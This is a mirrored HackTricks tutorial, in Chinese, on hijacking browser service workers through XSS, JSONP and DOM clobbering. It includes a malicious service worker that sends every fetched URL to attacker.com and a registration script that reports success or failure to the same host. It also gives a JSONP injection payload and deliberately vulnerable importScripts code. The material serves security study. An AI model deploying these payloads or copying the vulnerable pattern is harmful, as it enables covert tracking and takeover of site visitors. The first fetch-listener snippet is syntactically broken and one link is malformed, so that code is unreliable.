mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
100 lines
4.9 KiB
Markdown
100 lines
4.9 KiB
Markdown
# 滥用服务工作者
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## 基本信息
|
||
|
||
**服务工作者**是由浏览器在后台运行的脚本,与任何网页分开,启用不需要网页或用户交互的功能,从而增强**离线和后台处理**能力。有关服务工作者的详细信息可以在[这里](https://developers.google.com/web/fundamentals/primers/service-workers)找到。通过利用脆弱的网络域中的服务工作者,攻击者可以控制受害者与该域内所有页面的交互。
|
||
|
||
### 检查现有服务工作者
|
||
|
||
可以在**开发者工具**的**应用程序**选项卡中的**服务工作者**部分检查现有的服务工作者。另一种方法是访问[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)以获取更详细的视图。
|
||
|
||
### 推送通知
|
||
|
||
**推送通知权限**直接影响**服务工作者**与服务器之间在没有直接用户交互的情况下进行通信的能力。如果权限被拒绝,则限制了服务工作者持续威胁的潜力。相反,授予权限会增加安全风险,因为这使得接收和执行潜在漏洞成为可能。
|
||
|
||
## 攻击创建服务工作者
|
||
|
||
为了利用此漏洞,您需要找到:
|
||
|
||
- 一种**上传任意 JS** 文件到服务器的方法,以及一个**XSS 来加载上传的 JS 文件的服务工作者**
|
||
- 一个**脆弱的 JSONP 请求**,您可以**操纵输出(使用任意 JS 代码)**,以及一个**XSS**来**加载带有有效负载的 JSONP**,该有效负载将**加载恶意服务工作者**。
|
||
|
||
在以下示例中,我将展示一个代码来**注册一个新的服务工作者**,该服务工作者将监听`fetch`事件,并将**每个获取的 URL 发送到攻击者的服务器**(这是您需要**上传**到**服务器**或通过**脆弱的 JSONP** 响应加载的代码):
|
||
```javascript
|
||
self.addEventListener('fetch', function(e) {
|
||
e.respondWith(caches.match(e.request).then(function(response) {
|
||
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
||
});
|
||
```
|
||
这是将**注册工作者**的代码(您应该能够通过利用**XSS**执行的代码)。在这种情况下,将向**攻击者**的服务器发送**GET**请求,**通知**服务工作者的**注册**是否成功:
|
||
```javascript
|
||
<script>
|
||
window.addEventListener('load', function() {
|
||
var sw = "/uploaded/ws_js.js";
|
||
navigator.serviceWorker.register(sw, {scope: '/'})
|
||
.then(function(registration) {
|
||
var xhttp2 = new XMLHttpRequest();
|
||
xhttp2.open("GET", "https://attacker.com/SW/success", true);
|
||
xhttp2.send();
|
||
}, function (err) {
|
||
var xhttp2 = new XMLHttpRequest();
|
||
xhttp2.open("GET", "https://attacker.com/SW/error", true);
|
||
xhttp2.send();
|
||
});
|
||
});
|
||
</script>
|
||
```
|
||
在滥用易受攻击的 JSONP 端点时,您应该将值放入 `var sw` 中。例如:
|
||
```javascript
|
||
var sw =
|
||
"/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"
|
||
```
|
||
有一个专门用于**服务工作者**利用的**C2**,叫做[**Shadow Workers**](https://shadow-workers.github.io),这将对利用这些漏洞非常有用。
|
||
|
||
**24小时缓存指令**将恶意或被攻陷的**服务工作者 (SW)** 的生命周期限制为在XSS漏洞修复后最多24小时,假设在线客户端状态。为了最小化漏洞,网站运营者可以降低SW脚本的生存时间(TTL)。开发者还被建议创建一个[**服务工作者杀开关**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)以便快速停用。
|
||
|
||
## 通过DOM Clobbering在SW中滥用`importScripts`
|
||
|
||
从服务工作者调用的函数**`importScripts`**可以**从不同域导入脚本**。如果使用**攻击者可以**修改的**参数**调用此函数,他将能够**从他的域导入JS脚本**并获得XSS。
|
||
|
||
**这甚至可以绕过CSP保护。**
|
||
|
||
**示例易受攻击的代码:**
|
||
|
||
- **index.html**
|
||
```html
|
||
<script>
|
||
navigator.serviceWorker.register(
|
||
"/dom-invader/testcases/augmented-dom-import-scripts/sw.js" +
|
||
location.search
|
||
)
|
||
// attacker controls location.search
|
||
</script>
|
||
```
|
||
- **sw.js**
|
||
```javascript
|
||
const searchParams = new URLSearchParams(location.search)
|
||
let host = searchParams.get("host")
|
||
self.importScripts(host + "/sw_extra.js")
|
||
//host can be controllable by an attacker
|
||
```
|
||
### 使用 DOM Clobbering
|
||
|
||
有关 DOM Clobbering 的更多信息,请查看:
|
||
|
||
{{#ref}}
|
||
dom-clobbering.md
|
||
{{#endref}}
|
||
|
||
如果 SW 用于调用 **`importScripts`** 的 URL/域名 **在一个 HTML 元素内**,则 **可以通过 DOM Clobbering 修改它**,使 SW **从您自己的域加载脚本**。
|
||
|
||
有关此的示例,请查看参考链接。
|
||
|
||
## 参考
|
||
|
||
- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|